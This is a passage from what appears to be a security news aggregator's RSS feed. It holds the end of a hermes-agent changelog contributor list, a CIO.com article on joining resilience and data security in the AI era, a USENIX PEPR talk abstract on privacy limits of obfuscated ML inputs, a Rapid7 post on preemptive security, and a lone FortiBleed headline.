<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kyssta-exe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kyssta-exe">@kyssta-exe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/l37525778-coder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/l37525778-coder">@l37525778-coder</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LaPhilosophie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LaPhilosophie">@LaPhilosophie</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leo4226/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leo4226">@leo4226</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Llugaes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Llugaes">@Llugaes</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LoongZhao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LoongZhao">@LoongZhao</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lsaether/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lsaether">@lsaether</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m4dni5/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m4dni5">@m4dni5</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/manishbyatroy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/manishbyatroy">@manishbyatroy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MaxFreedomPollard/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MaxFreedomPollard">@MaxFreedomPollard</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxmilian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxmilian">@maxmilian</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxtrigify/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxtrigify">@maxtrigify</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mnajafian-nv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mnajafian-nv">@mnajafian-nv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mohamedorigami-jpg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mohamedorigami-jpg">@mohamedorigami-jpg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mollusk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mollusk">@mollusk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MrDiamondBallz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MrDiamondBallz">@MrDiamondBallz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mssteuer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mssteuer">@mssteuer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mvanhorn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mvanhorn">@mvanhorn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/naqerl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/naqerl">@naqerl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nea74/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nea74">@Nea74</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nepenth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nepenth">@nepenth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nicoloboschi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nicoloboschi">@nicoloboschi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NormallyGaussian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NormallyGaussian">@NormallyGaussian</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OmarB97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OmarB97">@OmarB97</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omegazheng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omegazheng">@omegazheng</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OndrejDrapalik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OndrejDrapalik">@OndrejDrapalik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oxngon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oxngon">@oxngon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OYLFLMH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OYLFLMH">@OYLFLMH</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paperclip/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paperclip">@paperclip</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paulb26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paulb26">@paulb26</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pengyuyanITYU/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pengyuyanITYU">@pengyuyanITYU</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PhilipAD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PhilipAD">@PhilipAD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pinguarmy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pinguarmy">@pinguarmy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/plcunha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/plcunha">@plcunha</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProgramCaiCai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProgramCaiCai">@ProgramCaiCai</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/psionic73/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/psionic73">@psionic73</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qin-ctx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qin-ctx">@qin-ctx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qingshan89/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qingshan89">@qingshan89</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Que0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Que0x">@Que0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qWaitCrypto/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qWaitCrypto">@qWaitCrypto</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/randomsnowflake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/randomsnowflake">@randomsnowflake</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rbrtbn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rbrtbn">@rbrtbn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rio-jeong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rio-jeong">@rio-jeong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Rivuza/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Rivuza">@Rivuza</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rodboev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rodboev">@rodboev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ruangraung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ruangraung">@ruangraung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RyTsYdUp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RyTsYdUp">@RyTsYdUp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sahil-SS9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sahil-SS9">@Sahil-SS9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/salesondemandio/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/salesondemandio">@salesondemandio</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sanidhyasin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sanidhyasin">@sanidhyasin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sarvesh1327/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sarvesh1327">@sarvesh1327</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sdyckjq-lab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sdyckjq-lab">@sdyckjq-lab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @simpolism, @sitkarev, @skyc1e, @skylarbpayne, @SNooZyy2,<br>
@Spaceman-Spiffy, @srojk34, @sweetcornna, @synapsesx, @Tamaz-sujashvili, @tangtaizong666, @temalo, @tfournet,<br>
@thedavidweng, @TheGardenGallery, @tim404x, @tomekpanek, @Tranquil-Flow, @tt-a1i, @tuancookiez-hub,<br>
@underthestars-zhy, @Veritas-7, @victor-kyriazakos, @wesleysimplicio, @WolframRavenwolf, @WompaJango, @x1erra,<br>
@xiaoxinova, @xtymac, @xushibo, @XVVH, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxchan">@xxchan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @xy200303, @y0shua1ee, @yanxue06, @yatesjalex,<br>
@YLChen-007, @yoniebans, @youjunxiaji, @yubingz, @zakame, @zapabob, @zccyman, @zimigit2020, @ziwon, @zwcf5200,<br>
@zxcasongs.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.6.5...v2026.6.19">v2026.6.5...v2026.6.19</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CIOs: tear down the wall between resilience and data security]]></title>
<description><![CDATA[For years, resilience and data security operated in separate organizational silos. The resilience team focused on keeping systems running, while the security team focused on keeping data safe. They attended different briefings, reported through different chains of command, and, in most enterprise...]]></description>
<link>https://tsecurity.de/de/3609969/it-security-nachrichten/cios-tear-down-the-wall-between-resilience-and-data-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609969/it-security-nachrichten/cios-tear-down-the-wall-between-resilience-and-data-security/</guid>
<pubDate>Fri, 19 Jun 2026 12:08:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For years, resilience and data security operated in separate <a href="https://www.cio.com/article/4176051/8-it-modernization-traps-cios-must-avoid.html?utm=hybrid_search">organizational silos</a>. The resilience team focused on keeping systems running, while the security team focused on keeping data safe. They attended different briefings, reported through different chains of command, and, in most enterprises, barely spoke to each other. AI is making that model no longer viable.</p>



<p>Steve MacIntyre, SVP and product lead for data security and analytics, and cloud security at Fidelity Investments, and Wim Geurden, EY’s chief architect of enterprise technology, are two IT executives who manage some of the most complex data environments. Both recently spoke at the VeeamON event in New York and put great emphasis on how the convergence of resilience and data security is no longer a future trend but an immediate operational necessity, driven, accelerated, and exposed by AI.</p>



<h2 class="wp-block-heading">AI didn’t create the problem — it revealed it</h2>



<p>AI isn’t introducing new security vulnerabilities so much as it’s making long-ignored ones glaringly visible. “We gave out a few licenses for Copilot, and two days in, someone from the legal team I work with said we have an AI problem,” said MacIntyre about Fidelity’s early Microsoft 365 Copilot pilot. Another member of his team did a search and said AI found all the PowerPoints that were on SharePoint he used about four jobs ago. So it wasn’t an AI problem. “AI just searches everything you have access to and surfaces it in a meaningful way,” said MacIntyre. “Everybody thinks they have an AI problem, but what it shows is areas that must improve.”</p>



<p>Geurden encountered the same phenomenon at EY. “We found it about six months before Copilot was launched,” he said. “All kinds of data started surfacing in every location.” EY’s first response was to shut down unlicensed AI access entirely. “There was no lifecycle management and we didn’t know when sites were last accessed,” he added. The next phase involved using AI to label and classify the vast repositories of unstructured data EY had accumulated over decades, because, he said, it’s unfathomable that humans do it. “Especially with turnover every four years, you can’t keep training people at a 400,000-employee scale,” he continued.</p>



<p>The implication for CIOs is if you haven’t audited your unstructured data, you already have an AI security problem. You just need to turn on the tool that will expose it.</p>



<h2 class="wp-block-heading">The threat is moving at AI speed</h2>



<p>The urgency isn’t a hypothetical one. A recent <a href="https://www.bcg.com/publications/2025/ai-creates-cyber-risks-can-resolve-them" rel="nofollow">BCG CISO survey</a> found that half of cyberattacks over the past six months involved non-human identities, meaning adversaries are already deploying AI agents to conduct attacks. The same survey found that nearly half of business-sponsored AI projects resulted in unintended data leakage. These aren’t shadow IT experiments but sanctioned and approved deployments that leaked data because the <a href="https://www.cio.com/article/4128980/the-struggle-for-good-ai-governance-is-real.html?utm=hybrid_search">underlying governance</a> and access controls weren’t in place before the AI was turned on.</p>



<p>The problem is likely to worsen before it improves. Another study, this time by <a href="https://zkresearch.com/" rel="nofollow">ZK Research</a>, found that 65% of respondents believe <a href="https://www.cio.com/article/4146658/autonomous-ai-adoption-is-on-the-rise-but-its-risky.html?utm=hybrid_search">AI adoption</a> is outpacing their ability to govern it. Additionally, 89% of decision makers expressed concern about AI agents inheriting excessive access, underscoring a critical risk to data integrity and security. All these data point to a world where AI creates a fundamentally new operating model, where companies need to rethink how they address the risks and why the traditional separation between resilience and security must end.</p>



<p>Resilience without data governance means you can recover your systems, but not trust the data within them. Security without resilience planning means your controls may be sound on Tuesday, but nonexistent after a Wednesday incident. The organizations getting this right treat data as a first-class asset with its own governance lifecycle, rather than an afterthought attached to applications.</p>



<h2 class="wp-block-heading">Three governing principles</h2>



<p>Based on what MacIntyre and Geurden say, here are three concrete principles for CIOs to build integrated resilience and a strong security posture for the AI era.</p>



<p><strong>Know what you have before you deploy what you want. </strong>“Get a handle on what’s actually important for the business and the use cases, and then get a handle on your data,” said MacIntyre. “If you can marry those two, you can make risk-based decisions on where to apply the work.” This means completing a data asset inventory — not just a list of systems, but a clear understanding of where data resides, who owns it, who has access, and whether that access has been reviewed. At Fidelity, this means tying AI use cases to approved projects so every agent or model deployment is matched to a registered business need. This is easier said than done, however, as the data within most organizations is messy. But getting a handle on data is a mandatory step toward AI success.</p>



<p><strong>Build governance that moves at the speed of the threat.</strong> MacIntyre also acknowledged that <a href="https://www.cio.com/article/3984527/how-to-establish-an-effective-ai-grc-framework.html?utm=hybrid_search">GRC</a> has historically been a slow, human-driven process, and AI is breaking that model. “They’re trying to figure out how to build automation, how to use AI to help the GRC function get aligned to this, because it’s moving at light speed,” he said. The answer isn’t simply to hire more compliance staff, but automate the monitoring, labeling, and control verification functions that humans can’t perform at AI scale.</p>



<p><strong>Solve the agent identity problem now before regulators force you to.</strong> Both MacIntyre and Geurden flagged AI agent identity as one of the most unresolved and most consequential challenges in enterprise AI governance. Geurden described agents triggering <a href="https://www.cio.com/article/4143424/what-happens-if-saps-s-4hana-roadmap-doesnt-suit.html?utm=hybrid_search">unexpected SAP licensing costs</a> as a first signal. MacIntyre raised the regulatory stakes in that he needs to be able to go backward. “I need to be able to say an agent took that action on that data set because a customer asked it to do it,” he said. That audit trail, from human intent to agent action to data record, doesn’t yet exist cleanly in most enterprises. And building it isn’t optional. In financial services and regulated industries, it’s a matter of when not if regulators demand it.</p>



<h2 class="wp-block-heading">The cloud journey was a preview</h2>



<p>MacIntyre offered a useful frame for the CIO community in that the AI governance challenge is structurally similar to the cloud transition, and enterprises that went through that migration have hard-won lessons that apply now. “When the explosion of AI happened, it didn’t just affect security and the attackers,” he said. “It also impacted the business, increasing velocity, and the ability to innovate and move faster. So we have to be there and be able to safely enable that for them.”</p>



<p>The instinct to block AI entirely will fail, just as blocking cloud adoption failed a decade ago. Business units will find workarounds. The job of the CIO and CISO, therefore, is to channel that velocity through governed, instrumented, and recoverable infrastructure.</p>



<p>Geurden’s framing from EY’s audit practice added a useful warning about overconfidence. Three years ago, the firm tested whether AI could pass the CPA exam. It could, easily, but the team quickly discovered that for complex professional judgment questions, the model assigned roughly equal probability to multiple answers. “At which point, you can’t build a control structure because you have to check everything it does,” he said. That discovery slowed EY’s AI rollout in the audit practice and arguably saved them from a much larger exposure. The lesson is that capability and trustworthiness aren’t the same thing, and closing that gap requires exactly the kind of integrated data governance and resilience architecture that most enterprises have yet to build.</p>



<p>AI has knocked down the wall between resilience and security, and CIOs who rebuild it will spend the next three years reacting to incidents. But those who build a unified data trust architecture will be the ones empowering the business to move fast with confidence, and that’s a position all CIOs should strive to be in.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[PEPR '26 - The Emperor's New Embeddings: Obfuscating ML Inputs Doesn't Provide Privacy]]></title>
<description><![CDATA[Author: USENIX - Bewertung: 0x - Views:1 The Emperor's New Embeddings: Obfuscating ML Inputs Doesn't Provide Privacy

Jack Fitzsimons, Oblivious

When you think about PETs in machine learning, you likely think about protecting the training data: there are well-developed tools and approaches to en...]]></description>
<link>https://tsecurity.de/de/3609126/it-security-video/pepr-26-the-emperors-new-embeddings-obfuscating-ml-inputs-doesnt-provide-privacy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609126/it-security-video/pepr-26-the-emperors-new-embeddings-obfuscating-ml-inputs-doesnt-provide-privacy/</guid>
<pubDate>Fri, 19 Jun 2026 02:03:09 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: USENIX - Bewertung: 0x - Views:1 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/YCg1QVj2jsY?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>The Emperor's New Embeddings: Obfuscating ML Inputs Doesn't Provide Privacy<br />
<br />
Jack Fitzsimons, Oblivious<br />
<br />
When you think about PETs in machine learning, you likely think about protecting the training data: there are well-developed tools and approaches to ensuring that your model doesn't leak user data it was trained on. But that's only half of the story: what about protecting the data used for inference? <br />
In the last few years, there's been a growing thread of research and some commercial offerings that promise just that: to protect model inputs while still allowing inference. These tools transform data so that it is hard to recover the original input, but in a way that still allows a model to make accurate predictions.<br />
Does that sound too good to be true? That's because it is! This talk will look at the (bad) ways that these tools are measuring "privacy", the fundamental limits of how much we can protect, and whether there are any alternative approaches.<br />
This work is based on a collaboration by Jack Fitzsimons, Daniel Simmons-Marengo, Tudor Cebere and Damien Desfontaines.<br />
<br />
View the full PEPR '26 program at https://www.usenix.org/conference/pepr26/program<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Security Teams Need To Start Earlier]]></title>
<description><![CDATA[Security leaders are facing an unusual set of circumstances. The drumbeat for better security prioritization has been rising for years in boardrooms around the world. The desire is there, but the processes of the past aren’t meeting the needs of the new moment we find ourselves in. That gap is no...]]></description>
<link>https://tsecurity.de/de/3608255/it-security-nachrichten/why-security-teams-need-to-start-earlier/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608255/it-security-nachrichten/why-security-teams-need-to-start-earlier/</guid>
<pubDate>Thu, 18 Jun 2026 17:26:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>Security leaders are facing an unusual set of circumstances. The drumbeat for better security prioritization has been rising for years in boardrooms around the world. The desire is there, but the processes of the past aren’t meeting the needs of the new moment we find ourselves in. </span></p><p><span>That gap is not a technology problem. It's an operating model problem.</span></p><p><span>At the opening keynote of </span><a href="https://rapid7.brighttalk.com/?utm_source=blog&amp;utm_medium=website&amp;utm_content=executive-pov&amp;utm_campaign=global-pla-2026-global-virtual-summit-prospect-eng" target="_blank"><span>Rapid7’s 2026 Global Cybersecurity Summit,</span></a><span> Craig Adams, Chief Product Officer, Rapid7, Brian Castagna, CSO, Rapid7 and IDC’s Research VP, Craig Robinson framed a simple idea: cyber defense needs to start earlier.</span></p><p><span>For more on this, download our new ebook, </span><a href="https://www.rapid7.com/lp/preemptive-security-from-resilience-to-action/?utm_source=blog&amp;utm_medium=website&amp;utm_content=post-summit-executive-pov&amp;utm_campaign=global-mdr-2026-global-virtual-summit-prospect-eng-nom-25" target="_self"><span>Preemptive Security: From Resilience to Action</span></a><span>.</span></p><h2>Complexity is outpacing control</h2><p><span>Security environments have never been more connected or more difficult to manage. Cloud adoption, SaaS sprawl, third-party dependencies, and identity growth have expanded the attack surface in ways most programs were not designed to handle. Many teams have responded by adding more tools and more telemetry. This has resulted in more fragmentation, more dashboards, and more opportunities for important information to slip through the cracks. </span></p><p><span>Teams are spending more time stitching context together than they are effectively reducing risk. This shows up in daily operations with analysts moving between multiple systems to validate alerts, and leaders lacking the clear picture to explain risk to the business. In a time when exposure management and detection &amp; response can live on one platform, that level of fragmentation makes no sense.</span></p><h2>Reactive security creates operational drag</h2><p><span>The traditional model still dominates most security programs. It goes like this (stop us if you’ve heard this before): 1) Detect an alert. 2) Investigate. 3) Contain. 4) Recover. 5) Repeat, forever. </span></p><p><span>Sounds simple, right? And it worked great when environments were simpler and attackers moved slower. That is no longer the case.</span></p><p><span>Today, initial access often happens quietly through identity abuse or misconfiguration. Attack paths form before an alert even fires. By the time a signal reaches the security team, attackers may already be moving laterally or accessing sensitive systems. This creates a cycle of constant response without consistent risk reduction. Teams get better at handling incidents but struggle to remove the conditions that enable them.</span></p><p><span>Security operations centers can receive thousands of alerts per day, many of which are low value or false positives. This leaves analysts spending hours triaging signals instead of focusing on the exposures most likely to lead to impact.</span></p><p><span>More alerts do not make you safer. They create drag. Better context creates better outcomes. </span></p><h2>The issue is prioritization, not visibility</h2><p><span>Most organizations are not lacking data. They are lacking the clarity needed to understand the data they have and contextualize it as it relates to their business. Telemetry alone does not answer the question that matters most: what should we do first?</span></p><p><span>Attackers look for the most effective path into an environment, often combining smaller weaknesses across assets, identities, and systems until they create meaningful access. Security teams need a similarly connected view, one that helps them understand which exposures are exploitable, which assets are most critical, and how those risks relate across the environment. When teams can see that full picture, they can focus remediation on the issues most likely to be used in a real attack, making risk reduction more targeted, efficient, and defensible. </span></p><p><span>The result is effort without impact.</span></p><h2>Why security needs to start earlier</h2><p><span>The </span><a href="https://rapid7.brighttalk.com/talk/10457-663128/?utm_source=blog&amp;utm_medium=website&amp;utm_content=executive-pov&amp;utm_campaign=global-pla-2026-global-virtual-summit-prospect-eng" target="_blank"><span>summit’s keynote</span></a><span> message is direct: meaningful action must move earlier in the lifecycle.</span></p><p><span>Preemptive Security introduces an operating model designed for that shift. It connects four core elements:</span></p><ul><li><p><span>Exposure management to identify and prioritize risk</span></p></li><li><p><span>Managed detection and response (MDR) to monitor and act</span></p></li><li><p><span>Artificial intelligence to reduce noise and accelerate analysis</span></p></li><li><p><span>Human expertise to validate and decide</span></p></li></ul><p><span>Together, these capabilities create a system that acts before risk becomes impact. Instead of waiting for alerts, teams identify likely breach paths. Instead of reacting to incidents, they reduce exposure ahead of time. Instead of managing disconnected tools, they operate with shared context and clear priorities. Detection and response becomes one leg of the stool with exposure management taking the lead in reducing risk before it becomes an emergency. </span></p><h2>What changes for security leaders</h2><p><span>For CISOs and security leaders, this shift means designing programs around likely attack paths, not isolated findings. It means prioritizing investments based on risk reduction, not tool coverage and enabling teams to act decisively without increasing headcount or complexity.</span></p><p><span>It also changes how success is measured. The goal is fewer surprises, faster containment and reduced exposure before exploitation. It means starting earlier, to increase the likelihood of success. These are outcomes the business understands.</span></p><h2>A new starting point for security</h2><p><span>Ultimately, the environment has changed faster than the operating model. So the operating model needs to change. Luckily, there’s a proven path forward that can prevent the attacks from bad actors already moving in earlier, using technology to scale their operations, and exploiting small weaknesses to get a foothold. </span></p><p><span>Preemptive Security provides the framework to close that gap. It helps teams reduce noise, focus on what matters, and act with confidence before disruption occurs. Security does not start with an alert. It starts with understanding risk early enough to do something about it.</span></p><p><a href="https://rapid7.brighttalk.com/talk/10457-663128/?utm_source=blog&amp;utm_medium=website&amp;utm_content=executive-pov&amp;utm_campaign=global-pla-2026-global-virtual-summit-prospect-eng" target="_blank"><span>Watch the keynote on demand </span></a><span>or </span>download the eBook,<span> </span><a href="https://www.rapid7.com/lp/preemptive-security-from-resilience-to-action/?utm_source=blog&amp;utm_medium=website&amp;utm_content=post-summit-executive-pov&amp;utm_campaign=global-mdr-2026-global-virtual-summit-prospect-eng-nom-25" target="_self"><span>Preemptive Security: From Resilience to Action</span></a><span>, to explore the model in more detail.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[FortiBleed campaign exposes 75,000 Fortinet firewalls worldwide]]></title>
